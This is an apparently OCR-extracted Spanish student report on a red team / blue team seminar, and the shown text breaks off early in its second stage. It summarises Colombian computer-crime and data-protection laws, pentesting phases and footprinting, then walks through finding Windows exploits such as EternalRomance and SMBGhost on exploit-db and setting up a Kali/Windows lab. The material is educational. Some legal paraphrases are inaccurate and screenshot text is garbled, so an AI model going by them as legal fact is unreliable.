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RESUMEN

Por medio de este seminario especializado de los equipos red team & blue team se
abordan hablan situaciones reales muy importantes como las leyes de seguridad
informatica en para la proteccion en los datos personales y el cédigo de ética que
nos ofrece COPNIA , también se observan las diferentes actuaciones que debemos
tener como profesionales especializados en cuanto a los acuerdos de
confidencialidad de las empresas al momento de la firma de contratos y lo que no
debemos aceptar, durante este proceso de identificacion se ejecutan pruebas de
intrusidbn en maquinas con sistemas operativos como los son Windows 10 y Kali
Linux con su respectivo momento de vulnerabilidad, ataque y explotacion de un
atague cibernético en tiempo real, los cuales arrojan resultados reales por medio de
la practica elaborada, también es importante resaltar que durante este lapso de
tiempo de detecta que la maquina infectada tiene su momento de limpieza con la
técnica de hardenizacion que se encuentra detallada en esta guia, por lo anterior se
evidencia el importante trabajo de red team y blue team para las compafiias y
organizaciones gubernamentales y privadas en cuanto la proteccion de ataques

cibernéticos.
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GLOSARIO

Equipos de seguridad informatica: son los encargados de reducir la exposicion o

el riesgo cibernético para asi detectar ataques cibernéticos.

Proteccién Datos Personales: es el derecho que tenemos como personas de

conocer, modificar y rectificar nuestra propia informacién sin intermediarios.

Leyes: es una regla de cumplimiento de uso obligatorio.

Medios Informaticos: productos o herramientas de las cuales se disponen por

medio de hardware o software.

Confidencial: mantener en reserva los datos o hechos.

Pentesting: es el test de seguridad desarrollado para la deteccion de posibles fallos

de seguridad.

Footprinting: desarrolla la busqueda de informacion de forma sigilosa.

Protocolo: conjunto de normas y estandares permitiendo comunicacion entre si en

medio de cualquier variacion.

CVE: puntos y vulnerabilidades de aplicaciones locales y web

Xploit: se aprovecha de los errores y vulnerabilidades de un sistema para atacar

Vulnerabilidad: punto débil en los sistemas para ser utilizado por un atacante.

Etica Informatica: analiza el impacto social y profesional en las tecnologias.



Acuerdo de Confidencialidad: deber de no compartir informaciéon importante de

una persona o empresa.

Red Team: es el equipo que ayuda a la organizaciébn a mejorar su seguridad

cibernética.

Blue Team: es el equipo que actla en la dltima linea de defensa en las empresas

frente a los ataques cibernéticos.

Cibercrimen: actividad dirigida hacia una estacién de trabajo para hurto de

informacion, soborno y chantaje a las personas.

Ataque informatico: acceso a estaciones de trabajo mediante virus o archivos

malware.

Virtual Box: administrador de maquinas y servidores virtuales.

Windows: sistemas operativos en los equipos de computo.

Linux: sistema operativo de cAdigo abierto lo cual significa que cualquier persona o
empresa puede modificar o crear desde cero una versioén de Linux y este proceso
es el que facilita que dicho sistema operativo en cualquiera de sus versiones y
puntualmente Kali Linux tiene las modificaciones (programa de hacking)

preinstalados o instalados

Payload: es un conjunto de datos en linea de codigo que generan un archivo en
cualquier tipo de formato ejecutable en el sistema operativo a atacar. Dicho archivo
se puede enviar a la maquina a atacar (correo electronico — wasap web - telegram
entre otros); al ser ejecutado en la maquina victima este enviara informacion vital

para poder realizar la intrusion.



INTRODUCCION

Se pretende desarrollar los conceptos y conocimientos basicos previos de las
lecturas sugeridas por el docente para analisis, en el campo de la seguridad
informatica en cuanto a las leyes de seguridad de la informacion, la aplicacion de
los conceptos de pentesting, también la identificacion de las amenazas a través de
la conceptualizacion de los CVE vy del desarrollo del laboratorio asignado por parte
del director del curso, teniendo en cuenta las herramientas disponibles y los
problemas presentados por la empresa HACKER HOUSE, con el fin de encontrar y
dar claridad a las falencias en cada uno de los procesos con el apoyo de los equipos
de seguridad Red Team , Blue Team y Purple Team, enfrentando los retos y las

capacidades que ofrece cada uno de los equipos con el trabajo en equipo.

La Ciberseguridad es un compromiso de cada uno de los actores directos o
indirectos, ya sea en el lugar de trabajo y vida personal, este informe da una vista
al mundo actual y como prepararnos para un ataque informético y si ya se fue

victima, como salir y defendernos en el mundo cibernético.



OBJETIVOS

1.1 OBJETIVOS GENERAL

Aplicar los diferentes conceptos y dar a conocer las diferencias y beneficios de los
equipos de seguridad Red Team, Blue Team y Purple Team, asi como gestionar las

herramientas suficientes para la contencion de ataques informaticos.

1.2 OBJETIVOS ESPECIFICOS

¢ I|dentificar los riesgos existentes desde los CVE y poder ejecutarlos de una
manera controlada.

e Desarrollar y entender el concepto de footprinting.

e Proporcionar el correcto uso de las diferentes herramientas desde Kali Linux
para asi llegar a proteger los sistemas informaticos para este caso desde el
sistema operativo Windows 10 x64.

e Explorar cada una de las etapas clave en las pruebas de penetracion, donde
se identifican las vulnerabilidades de los sistemas operativos y aplicaciones.
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DESARROLLO DEL TRABAJO

ETAPA 1 - CONCEPTOS EQUIPOS DE SEGURIDAD

1. “Actualmente en Colombia existen marcos regulatorios los cuales se enfocan
no solamente a ley de delitos informéticos sino a la proteccién de datos
personales los cuales deben ser asegurados por parte de organizaciones las
cuales reunen data de miles de personas. En este orden de ideas se requiere
gue defina de forma general y con sus palabras qué menciona la ley 1273 de
2009 y definir cada articulo; ademas deben explicar de manera general todo
al respecto de la ley 1581 de 2012. Para la ley 1581 de 2012 deben consultar
el monto de las multas correspondientes y la entidad que regula este tema

en Colombia”.

LEY 1273 DE 2009

El cual dentro del marco regulatorio del gobierno se crea y de denomina la ley “de
la proteccidn de la informacion y de los datos” y se brindan preservacion desde los

sistemas que proporcionan informacion personal.

DECRETO:

ARTICULO 1°: “se realiza una adicion al cddigo penal de la proteccion de la

informacion y de los datos”:

CAPITULO 1:

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. “Acceso con
0 sin permiso a informacion personal, acarreara una pena de prision de cuarenta y
ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos

legales mensuales vigentes.”

11



“Articulo 269B. OBSTACULIZACION ILEGITIMA DE SISTEMA INFORMATICO
O RED DE TELECOMUNICACION. La manipulacion de la informacion y de accesos
privilegiados a bases de datos, incurrira en pena de prision de cuarenta y ocho (48)
a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

mensuales vigentes”.

“Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. La persona que
sin acato o orden judicial previa intercepte o manipule datos informaticos en su
origen, destino o en el interior de un sistema informético, o medio de trasporte por
el cual se esté movilizando informacién incurrira en pena de prision de treinta y seis

(36) a setenta y dos (72) meses”.

“Articulo 269D. DANO INFORMATICO. Persona que aun sin estar con previa
preparacion ni en disponibilidad de destruccion de informacién, dafie, borre,
deteriore, altere o suprima datos informaticos, o un sistema de tratamiento de
informacion o sus partes o componentes fisicos o I6gicos, acarreara una pena de
prisiébn de cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a

1000 salarios minimos legales mensuales vigentes”.

“Articulo 269E. USO DE SOFTWARE MALICIOSO personas que vendan
distribuyan y adquieran software pirata, se interpondra una pena de prisién de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios

minimos legales mensuales vigentes”.

“Articulo 269F. VIOLACION DE DATOS PERSONALES. Persona que manipule,
venda, distribuya Informacion confidencial tanto de bases de satos y de otros
lugares de informacion personal, incurrira en pena de prision de cuarenta y ocho
(48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

mensuales vigentes”.
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“Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR DATOS
PERSONALES. Personas que se encargan de creacion de paginas web
fraudulentas le sera aplicada una pena de prision de cuarenta y ocho (48) a noventa
y seis (96) meses y en multa de 100 a 1000 salarios minimos legales mensuales
vigentes, persistentemente a la conducta que no constituya un delito sancionado
con pena mas peligrosa. En la misma sancion acarreara el que modifique el sistema
de resolucion de nombres de dominio, de tal manera que haga entrar al usuario a
una IP diferente y de suplantacion de sitios confiables, siempre que la conducta no
constituya delito sancionado con pena mas grave. la pena sefialada en los dos
incisos anteriores se agravara de una tercera parte a la mitad, si para consumarlo

el agente ha reclutado victimas en el vinculo de la infraccion”.

“Articulo 269H. CIRCUNSTANCIAS DE AGRAVACION PUNITIVA: Las penas
imponibles de acuerdo con los articulos descritos en este titulo, se aumentaran de

la mitad a las tres cuartas partes si la conducta se cometiere”:

1. “Sobre redes o sistemas informaticos o de comunicaciones
estatales u oficiales o del sector financiero, nacionales e
internacionales”.

2. “Por servidor publico en ejercicio de sus funciones actuales”.

3. “Aprovechando la confianza guardada por el teniente de la
informacion o por quien tuviere un vinculo contractual con este”.

4. “Revelando o dando a conocer el contenido de la informacion en
perjuicio de otro”.

5. “Obteniendo provecho para si o para un tercero”.

6. “Con fines terroristas o0 generando riesgo para la seguridad o
defensa nacional’.

7. “Utilizando como instrumento a un tercero atacando la buena fe de

las personas”.
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8. “Si quien incurre en estas conductas es el responsable de la
administracion, manejo o control de dicha informacion, ademas se
le impondra hasta por tres afios, la pena de invalidacion para el
ejercicio de carrera relacionada con sistemas de informacion

procesada con equipos de computo”.

CAPITULO SEGUNDO

De los atentados informéticos y otras infracciones

“Articulo 2691. HURTO POR MEDIOS INFORMATICOS Y SEMEJANTES.
Persona que supere las medidas de seguridad informaticas, ejecute y gestione la
Ley sefialada en el articulo 239 manipulando un sistema informatico, por medio de
algun sistema de registro informético, acarreara en las penas sefialadas en el

articulo 240 de este Cdédigo”.

“Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS. Persona o
entidad con animo de lucro y valiéndose de alguna manipulacién informética o
engafno semejante, obtenga la transferencia no contemplada de cualquier activo en
perjuicio de un tercero, siempre que la conducta no constituya delito auténtico con
pena mas grave, acarreara en pena de prision de cuarenta y ocho (48) a ciento
veinte (120) meses y en multa de 200 a 1500 salarios minimos legales mensuales
vigentes. La misma sancion se le impondra a quien elabore, introduzca, posea o
facilite un programa para un equipo de computo destinado a la comision del delito
descrito en el inciso anterior, o de un robo. Si la conducta descrita en los dos incisos
anteriores tuviere una cuantia superior a 200 salarios minimos legales mensuales,

la sancioén alli sefialada se incrementara en la mitad”.

“‘En el momento de acceder a informacion confidencial desde cualquier sitio o

dispositivo sin previa autorizacion verbal o escrita, acarreara una pena en prision
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por un periodo de 48 a 96 meses y una sancién de 100 a 1000 salarios minimos
legales vigentes”.

“Donde se declara inaccesible por la corte constitucional por medio de la sentencia
C-913-10 de 16 de noviembre de 2010 (donde se establecen los derechos como
persona y fundamentales de habeas data e intimidad)”.?

“Articulo 25: Modificacion de castigos en los delitos de circulacion y empleo de
documentos privados y acceso abusivo a un sistema de informatico. Con el objeto
de garantizar la reserva legal de los documentos de inteligencia y contrainteligencia
y evitar su divulgacion por parte de los miembros de organismos que llevan a cabo
este tipo de actividades, los articulos 194, 195, 418, 419 y 420 del Cédigo Penal de

la siguiente forma” :

"Articulo 194. Publicacion de informacién confidencial y sin previo aviso a consulta,
acarreara una pena en prision de cinco (5) a ocho (8) afios, siempre que la conducta

no constituya delito sancionado con pena mayor".

"Articulo 195. Acceso abusivo a bases de datos o sistemas informativos, incurrira

en pena de prision de cinco (5) a ocho (8) afios".

"Articulo 418. Divulgacién de informacién confidencial de la empresa o entidad
publica, acarreara una pena en prision de cinco (5) a ocho (8) afios y multa de veinte
(20) a ciento veinte (120) salarios minimos legales mensuales vigentes, e

inhabilitacién para el ejercicio de funciones publicas por diez (10) afios.

Si de la conducta resulta ser a favor, la pena sera de cinco (5) a ocho (8) afios de
prision, multa de sesenta (60) a doscientos cuarenta (240) salarios minimos legales
mensuales vigentes, e inhabilitacion para el ejercicio de derechos y funciones

publicas por diez (10) afios".

1 “LEY 1288 de 2009 - Gestor Normativo [Anénima]. Inicio - Funcion Publica [pagina web]. (5, marzo, 2009). [Consultado el
11, febrero, 2024]. Disponible en Internet: <https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=35366>".
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"Articulo 419. Uso y provecho personal de la informacién confidencial, incurrird en
prision de cinco (5) a ocho (8) afios y pérdida del empleo o cargo publico, siempre

que la conducta no constituya otro delito sancionado con pena mayor".

"Articulo 420. Uso indebido de informacion en este caso de empleado publico o con
ocasion de sus funciones y que no sea objeto de conocimiento publico, con el fin de
conseguir provecho para si o0 para una tercera persona, sea este persona natural o
juridica, incurrird en pena de prision de cinco (5) a ocho (8) afios y pérdida del

empleo o cargo publico".?

LEY 1581 DE 2012
COSTOS DE INCUMPLIMIENTO

“El incumplimiento de la Ley de proteccion de datos lo expone a sanciones de tipo
econoémico y operativo, sin embargo, también se expone a temas reputacionales

gue pueden ser perjudiciales para la empresa”:

e “Sanciones econdmicas hasta por 2.000 SMMLV”.

e “Suspension de actividades relacionadas al tratamiento hasta
por seis (6) meses”.

e “Cierre temporal en cuanto a las operaciones relacionadas con
tratamiento de datos”.

e “Cierre definitivo de las operaciones relacionadas con el
tratamiento de datos sensibles”.3

Dentro de la Ley 1581 se encuentra una entidad reguladora y de ejecucién de dichas

penas y multas:

2 .
Ibid.
¥ “ABC DE la Ley 1581 de ProtecciA®n de Datos Personales en Colombia [An6nimo]. ConsultorAa AsesorAa ImplementaciA®n
ProtecciA:n  Datos Personales [pagina web]. [Consultado el 13, febrero, 2024]. Disponible en

Internet:<https://www.dataprotected.com.co/faq-proteccion-
atos#:~:text=9.,a%20qué%20sancién%20se%20expone?&amp;text=Sanciones%20econdmicas%20hasta%20por%202.000,
por%20seis%20(6)%20meses.”>.
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CAPITULO Il

Procedimiento y sanciones

“Articulo 22. Tramite. La Superintendencia de Industria y Comercio, una vez
establecido el incumplimiento de las disposiciones de la presente ley por parte del
responsable del Tratamiento o el Encargado del Tratamiento, adoptara las medidas

0 impondra las sanciones correspondientes”.

“En lo no reglado por la presente ley y los procedimientos correspondientes se

seguiran las normas pertinentes del Codigo Contencioso Administrativo”.

“Articulo 23. Sanciones. La Superintendencia de Industria y Comercio podra
imponer a los responsables del Tratamiento y Encargados del Tratamiento las

siguientes sanciones”:

a) “Multas de caracter personal e institucional hasta por el
equivalente de dos mil (2.000) salarios minimos mensuales
legales vigentes al momento de la imposicion de la sancion.
Las multas podran ser sucesivas mientras subsista el
incumplimiento que las origind”.

b) “Suspensién de las actividades relacionadas con el
Tratamiento hasta por un término de seis (6) meses. En el
acto de suspension se indicaran los correctivos que se
deberan adoptar”

c) “Cierre temporal de las operaciones relacionadas con el
Tratamiento una vez transcurrido el término de suspension
sin que se hubieren adoptado los correctivos ordenados por
la Superintendencia de Industria y Comercio”.

d) “Cierre inmediato y definitivo de la operacion que involucre

el Tratamiento de datos sensibles”;
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e) “Paragrafo. Las sanciones indicadas en el presente articulo
so6lo aplican para las personas de naturaleza privada. En el
evento en el cual la Superintendencia de Industria y
Comercio advierta un presunto incumplimiento de una
autoridad a las disposiciones de la presente ley, remitira la
actuacion a la Procuraduria General de la Nacion para que

adelante la investigacién respectiva”.

1. “El pentesting es un proceso de gran vitalidad en el campo de la
ciberseguridad, por este motivo usted debe definir cada etapa del pentesting,
pero tiene que especificar con mayor detalle la etapa de footprinting, de qué
trata esta etapa, ¢ qué aplicaciones (Opensource y pagas) podria utilizar para
este proceso? ¢ Y por qué piensa que es una de las etapas més importantes

dentro del pentesting”?

PENTESTING

Es el test de seguridad donde se identifican los fallos de seguridad en las
aplicaciones y resulta de unir dos fases o etapas como los son penetracién y testing,
la tarea consiste en generar simulacion de un ataque informatico en la cual la
empresa a ser atacada esta en pleno conocimiento para ejecutar el ataque y atacar
los posibles huecos de seguridad que se encuentren, dichos resultados se
socializan con la alta gerencia para realizar la implementacion de los respectivos
fallos de seguridad encontrados en el sistema atacado, para asi mejorar seguridad

o implementarla.®

4 “LEY 1581 de 2012 - Gestor Normativo [Anénima]. Inicio - Funcién Publica [pagina web]. (8, octubre, 2012). [Consultado el

14, febrero, 2024]. Disponible en Internet:
<https://www.funcionpublica.gov.co/eva/gestornormativo/norma.php?i=49981#:~:text=Articulo%2022.&amp;text=La%20Sup
erintendencia%20de%20Industria%20y,0%20impondra%20las%20sanciones%20correspondientes.”.

5 “¢ QUE ES el Pentesting? Tipos, fases y herramientas [Anénimo]. Nuclio Digital School [pagina web]. [Consultado el 13,

febrero, 2024]. Disponible en Internet: <https://nuclio.school/que-es-el-pentesting/”>.
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Dentro del desarrollo de esta actividad se encuentran 5 fases las cuales son:

e Recopilacién de informacién / Enumeracién
e Analisis de Vulnerabilidades

e Explotacién

e Post - explotacion

e Reporte.®

Dentro de las diferentes técnicas de Pentesting, se encuentra una muy importante

y es Footprinting.

Se puede concretar footprinting como un tipo de recoleccion de informacion la cual
consiste en una busqueda de informacion oficial directamente a algun objetivo, sin

tener interacciones directas con vy, sin dejar rastro ningan rastro de la busqueda.

Esta informacion es publica y puede localizar por medio de motores de busqueda,
redes sociales y paginas web especiales para esta practica. De esta forma, el
atacante ni siquiera debe abrir el dominio web de la compafiia que investiga para
adquirir la informacion vital de la empresa en el tiempo que desee y expandir su

superficie de ataque.

La superficie de atague se expande a medida que sea mas sencillo levantar
informacion sobre un punto; mas aun si es por medio del footprinting, ya que de esta
forma no se deja evidencia de que alguien esta vigilando y trabajando en silencio

sobre la informacion de la empresa.

Los perfiles en redes sociales, por ejemplo, son puertas de acceso para ataques,

debido a que los usuarios cada vez revelan mas informacién personal a través de

6 “s CUAL SON La 5 Fases Del Pentesting? - Ciberseguridad [An6nimo]. Bidaidea: lideres en Ciberseguridad & Inteligencia
[pagina web]. [Consultado el 13, febrero, 2024]. Disponible en Internet: <https://ciberseguridadbidaidea.com/fases-del-

pentesting/”>.
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ellas. Un ciber atacante podria pasar sin ser identificado, indagando un perfil de una
red social y, de este modo, adquirir informacion valiosa sobre sus victimas. Por
ello, es recomendable en lo posible no publicar ningun tipo de informacion y los

datos que se comparten por estos medios.
Tipos de footprinting

Antes de explicar el propésito es importante exponer los tipos de footprinting que

existen
Footprinting pasivo

El footprinting pasivo es aquel en el que no se utilizan Herramientas complejas, sino
redes sociales y navegadores especialmente los de busqueda, con el fin de recopilar

mucha informacién sobre su objetivo.
Footprinting activo

El footprinting activo es el que se disfraza de un sitio web confiable como sefiuelo

para cumplir su objetivo. Un ejemplo de estas herramientas es el protocolo WHOIS.
El protocolo WHOIS

Ahora que conocemos qué es footprinting, debemos familiarizarnos con el protocolo
WHOIS.

El WHOIS es un protocolo para efectuar consultas en bases de datos y obtener
informacion acerca de un dominio web. Puedes acceder a esta herramienta, por

ejemplo, por medio de_https://whois.domaintools.com/.

El WHOIS proporciona datos como el nombre del duefio del dominio, la fecha en la
que se cred y también la fecha en la que expira. Sin embargo, también protege

alguna informacion, como la geolocalizacion, por cuestiones de privacidad.
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Por ejemplo, un hacker ético puede ver la fecha de creacion de un dominio web
y, en caso de ser demasiado reciente, sospechar de ella. Del mismo modo,
un hacker de sombrero negro puede estar pendiente de qué dominios han expirado
y comprarlos para ejercer algun ataque. Este fue el caso de la empresa Heinz, que
tenia un codigo QR cuyo dominio expird y alguien lo compré para redirigir a todos

los usuarios a una pagina pornogréfica.

1. Metasploit es quizas una de las herramientas de importancia en el campo
de la seguridad; algunos hackers expertos desarrollan sus propios
frameworks, otros deciden utilizar frameworks existentes, por ello su
trabajo en este apartado es buscar el funcionamiento, arquitectura y
opciones que trae Metasploit el cual se encuentra disponible desde Kali

Linux.

Al momento de buscar vulnerabilidades para que estas sean explotadas por medio
de algun metasploit los expertos en ciberseguridad requieren comprender qué es
un CVE y si este contiene algun exploit para explotar la vulnerabilidad encontrada.
Dentro del proceso descrito en este apartado usted como experto en cibserguridad

debe buscar y documentar lo siguiente:

¢,Qué es un CVE y su estructura?

Los puntos vulnerables y las exposiciones comunes (CVE) conforman una lista de
las fallas de seguridad informatica que esta disponible al publico. Cuando alguien
habla de un CVE, se refiere a una falla a la cual se le asign6 un numero de

identificacion de CVE.

Los avisos de seguridad que formulan los proveedores y los cientificos casi siempre
mencionan al menos uno de estos identificadores. Los CVE admiten que los
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especialistas en Tl regulen sus iniciativas para anticipar y dar solucionar a los puntos

vulnerables, a fin de robustecer la seguridad de todos los sistemas informaticos.’

“El registro CVE se puso en marcha en 1999 y lo conserva la corporacion MITRE ,
contiguo con otras entidades participantes. La misiéon de su programa CVE es
igualar, definir y catalogar las vulnerabilidades de ciberseguridad divulgadas
publicamente. Cada registro CVE incluye indagacion representativa, por lo general
no muy extensa, sobre la vulnerabilidad, para que se comprenda facilmente de qué

se trata”.

“Este registro domina un identificador tnico de CVE (CVE ID), que permite localizar
facilmente la vulnerabilidad y el registro. Ese registro es proporcionado por una
autoridad denominada CNA (CVE Numbering Authority) y enriquecido por una
unidad publicadora ADP (Authorized Data Publisher). EI CVE ID suele ser una
secuencia como esta: CVE-2021-40444".

El identificador esta formado por el acronimo CVE, seguido de un guion, el afio de
descubrimiento, otro guion, y el nimero de vulnerabilidad de ese afio. Este ultimo
digito es un valor incremental, es indicar, si la Ultima vulnerabilidad encontrada ese
afio es la 40444, la siguiente sera identificada como CVE-2021-40445. Toda esta
informacion se proporciona al publico de diferentes maneras y en distintos formatos,

de forma entendible tanto por humanos como por maquinas.

En un registro CVE también se suelen identificar los productos sensibles a
dicha vulnerabilidad, incluyendo una descripcion, la autoridad CNA, enlaces de
referencia donde excavar mas acerca de la vulnerabilidady la fecha en que

la vulnerabilidad fue inscrita.

La expresion “Compatible con CVE” indica que un sitio web, plataforma,

herramienta, base de datos o servicio utilizan nombres CVE, lo cual permite a ese

7 “EL CONCEPTO de CVE [Andnimo]. Red Hat - We make open source technologies for the enterprise [pagina web].
[Consultado el 14, febrero, 2024]. Disponible en Internet: <https://www.redhat.com/es/topics/security/what-is-cve”>.
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sistema establecer vinculos cruzados con otros repositorios que utilizan nombres
CVE.

Al consultar un registro en la lista que aparece en la web de la
corporacion MITRE no se podran observar puntuaciones o indicadores de criticidad
de la vulnerabilidad. No obstante, otros organismos también gestionan una lista con
los mismos registros CVE, a los que si afiaden un indicador de criticidad y una
puntuacion, como es el caso de la Base de Datos de Vulnerabilidades Nacional
(NVD) En esta base de datoslas exploraciones van acompafados de una
puntuacion designada CVSS, que indica la criticidad de la vulnerabilidad. En
concreto, la NVD ofrece dos sistemas de puntuacion CVSS distintos a la hora de
asignar una puntuacion de criticidad: CVSS version 2 y CVSS version 3, siendo la

version 3 la mas actual.

En Espafa, el INCIBE (Instituto Nacional de Ciberseguridad de Espafia) es la

entidad encargada de gestionar la lista de registros CVE en espafiol.

Cualquier persona que identifique una vulnerabilidad en un producto de software
puede iniciar el proceso de registro siguiendo los pasos indicados en la web de
MITRE, en la seccién Update a CVE Record (Actualizar un registro CVE).®

(Ciberzaintza, s.f.)

* https://www.exploit-db.com/ como se utiliza y como se articula con el CVE?

Cada minuto, cada dia, cada segundo se descubren vulnerabilidades, es importante
aprender a identificar cual mitigar, para validar este proceso se hace indispensable
el conocimiento y manejo de la catalogacion de CVE, el cual maneja una

numeracion y hace que esa vulnerabilidad es mas facil de identificar y conocer como

8«cvE | Cyberzaintza [An6nimo]. Inicio | Cyberzaintza [pagina web]. [Consultado el 14, febrero, 2024]. Disponible en Internet:
<https://www.ciberseguridad.eus/ciberglosario/cve#:~:text=La%20mision%20de%20su%20programa.faciimente%20de%20q
ué%20se%20trata”.>.
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mitigar, también la identificaciébn de cuales son las primeras en mitigar y cuales

pueden tener una atencion tardia.

La actividad principal de CVE es identificar la vulnerabilidad de un sistema y el
impacto que tiene y el saber como un usuario puede verse afectado ante una
vulnerabilidad, nos ayuda a identificar los pasos que debemos tomar para mitigar,
siendo una de las herramientas para identificar y mitigar riesgos ya existentes y que

se pueden aplicar dentro de las vulnerabilidades que se encuentren en los sistemas.

Uso de la Herramienta EXPLOIT-DB base de datos:

Al ingresar al link https://www.exploit-db.com/ , se puede observar el campo fecha,
en el cual aparecen los Ultimos y nuevos exploits.

llustracion 1 Opciones CVE

Verificado Tiene aplicacion YFiltros ~ ViResetear todo
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Fecha D A wio oo Platatorma Autor
2024-02-15 * X Comunicacion inalémbrica DS: ejecucion remota de codigo Local Hardware MikelsAStar
. . Aplicaciones
20240215 % X Metabase 0.46.6: ejecucion remota de codigo previo a la autenticacion web linux lan Musyoka
. Aplicaciones i
2024-02-15 * X SISQUALWFM 7.1.319.103 - Inyeccion de encabezado de host I Multiple Omer Shaik
Sistema de informacion de objetos perdidos v1.0: (IDOR) conduce a latoma de control  Aplicaciones
2024-02-13 3 X PHP 0r4nG M4N
— dela cuenta web
iq
ManageEngine ADManager Plus Build < 7183 - Divulgacion de contrasefia de Aplicaciones
20240213 * x ventanas Metin Yunus Kandemir
recuperacion web
1]
2024-0213 b4 X Transmisor VHF/FM VIMESA Blue Plus 9.7.1 (doreboot) - Denegacion de servicio remota DoS Hardware gusano liquido
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También podemos identificar si el exploit ha sido verificado o no, en la imagen se
observa, que los ultimos que se han subido a la base de datos, aun no han sido

verificados, se presenta que muchos de los exploits que suben no hacen lo que

dicen que hace, por eso deben tener como verificacion un signo ( ), Y sin
verificacion se terminan comprometiendo los sistemas operativos resultando en un

gran dafo.

llustracion 2 Opciones CVE

Los exploit se puede explotar desde la computadora o desde un sitio remoto si lo
gue no queremos es afectar los sistemas operativos.

Existe un Split conocido que hace que el protocolo SMB al esta habilitado, desde
alli el atacante comience a enviar paquetes maliciosos, con el fin de ir obteniendo

control del equipo infectado.

Uno de los metasploit mas conocido le pertenece a METASPLOIT, el cual es un
aplicativo para realizar pruebas de seguridad, siempre es mejor realizar las pruebas

directamente en la aplicacion.

Verificado Tiene aplicacion YFiliros  W.Resetear todo

Especticuly 15 v Buscar ‘ ms17-010] x |

Microsoft Windows: ejecucién remota de cédigo SMB
'EternalRomance’/'EternalSynergy'/'EternalChampion’ (Metasploit) (MS17-010)

llustracion 3 Tipo Vulnerabilidad CVE

2018-02-05 3 Remoto ventanas metasploit
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Al dar clic sobre la vulnerabilidad, nos muestra la siguiente informacion:

C @ = exploitdb.com/exploits/43970 & a w ¥ o & ® 0| 0P
f0 INERCO COLOMBIA... 80 Solicitudes - INERC.. @} Correo: Leiz Alexan... ManageEngine Des... GlobalSuite @ veenter & dimension Take a spot | Reserv... [ NAS INERCO » | [ All Bookmarks
-

L
Microsoft Windows: ejecucién remota de codigo SMB ‘EternalRomance’/'EternalSynergy'/'EternalChampion’ (Metasploit)
- (MS17-010)
[u]
ID-EDB: CVE: Autor: Tipo: Plataforma: Fecha:
= o aTae a0t Jr— revao
&8 EDB verificado: Explotar: & / {} Aplicacién vulnerable:
»

()
©

llustracion 4 Ejecutable CVE

Todas estas vulnerabilidades ya existen en Kali Linux o Parrot, con las cuales
ejecutando un comando se puede realizar una busqueda especifica sobre la base
de datos “searchsploit”.

Luego de desplegar la opcion que selecciono, en la parte superior aparece el codigo

del xploit.

¢ C @ % exploit-db.com/exploits/43970 Q ¥ o u @ O 0P

8 INERCO COLOMBIA.. 80 Solicitudes-INERC.. @Y Correos Leiz Alexan.. s fake 2 spot | Reserv... (B NAS INERCO » | [ AllBookmarks

glrustracmn 5 Ilnea de Codigo Vulngfgtl)llizdmad CVE

En el cédigo anterior o el que se seleccione, se describe el paso a paso que
desarrolla el xploit para explotar la vulnerabilidad, si nos devolvemos al comienzo,
en la lupa de busqueda podemos buscar vulnerabilidades segun se quiera realizar

la explotacion, en el ejemplo lo busque con Windows 10.
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Yrilios  WResetear todo

Especticulo 15w Buscar: | windows 10
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-
fq 20200602 £ X Microsoft Windows: ejecucién remota de codigo ‘SMBGhost Remoto ventanas chompie1337
a 20200522 * Druva inSyne Windows Client 6 6.3: escalada de privilegios locales Local ventanas Matteo Malvica
Microsoft Windows 10 (1903/1909): escalada de privilegios locales ‘SMBGhost SMB3.1.1 i
03 s al i a rcia
20200330 * e e Loc: ventanas Daniel Garcia Gutiérez
b
= 20200214 .  Microsoft Windows 10 (1903/1308) - Desbordarmiento de bufer (PoC) 'SMBGhost SMB3.1.1 Dos Jentanas St misterioso
" = ‘SMB2_COMPRESSION_CAPABILITIES : 9
20200217 3 B X Procesamiento de enlaces simbolicos de paguetes MSI: escalada de privilegios de Windows 10 Local ventanas nul 1sequridad
2
20200129 2 X Microsoft Windows 10: andlisis de archivos de la API temética ThemePack Local ventanas Eduardo Braun Prado
TR o e LT ) (G 1 R L D S - T S

Incalas aratiita (kAS! R KCFG SMER)

llustracion 6 Tipos de Vulnerabilidad en Windows 10

Y asi podemos ir explorando los xploit que estan disponibles.®

2. “Para finalizar esta actividad es importante que usted reconozca, analice
y configure “banco de trabajo” lo solicitado en el anexo 1 — Escenario 1
sobre el cual deberé trabajar actividades que contienen un alto grado de

tecnicidad”.

Se realiza instalacion previa del aplicativo del aplicativo Virtual Box Oracle WM,

dentro del cual ya se han desarrollado otras instalaciones:

llustraciéon 7 Maquina Virtual Box

9 ERGO, HACKERS. ¢ Como usar exploit database 3% {4 ? // Explicacion desde cero desde la vulnerabilidad al exploit [video].
YouTube. (13, agosto, 2023). [Consultado el 16, febrero, 2024]. 20:36 min. Disponible en Internet:
<https://lwww.youtube.com/watch?v=-005QVLQPrE>.
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También se realiza previa instalacion de sistema Operativo Kali Linux

Pantalla —: 8192MB =

Almacenamiento

Audio

Habilitar EFT

L)

Ayuda

Adaptador 1 Adaptador 2 Adaptador 3 Adaptador 4
' Habilitar
:  Redinterna

RED INTERNA ESL

Interfaz de usuario

Cancelar

llustracién 9 configuracion red Virtual Box

Luego de las dos instalaciones se realiza la instalacion de la otra maquina virtual

en Windows 10.
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Ayuda

%) Programa de instalacién de Windows

Instalando Windows

J/ Copiando archivos de Windows
Preparando archivos para instalacién (88%)
Instalando caracteristicas
Instalando actuslizaciones

Acabanda

llustracion 10 instalacién Windows 10

Papelera de

recis e

, 6
AT,

L Escribe aqui para buscar. S R -

llustracion 11 Windows 10 ya instalado
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Validando conexién desde Windows 10 ip (10.0.2.15) a Kali Linux ip
(192.168.0.113)

llustracion 12 realizando ping en Windows 10

ETAPA 2 - ACTUACION ETICA Y LEGAL

1. “¢Una vez leido el anexo 2 — escenario 2 y el anexo 3 — Acuerdo, ¢Qué
parrafos cree usted que se tornan ilegales dentro del acuerdo de
confidencialidad? En caso de existir lineas de texto que orienten el acuerdo
de confidencialidad a procesos ilegales debera resaltar, explicar y

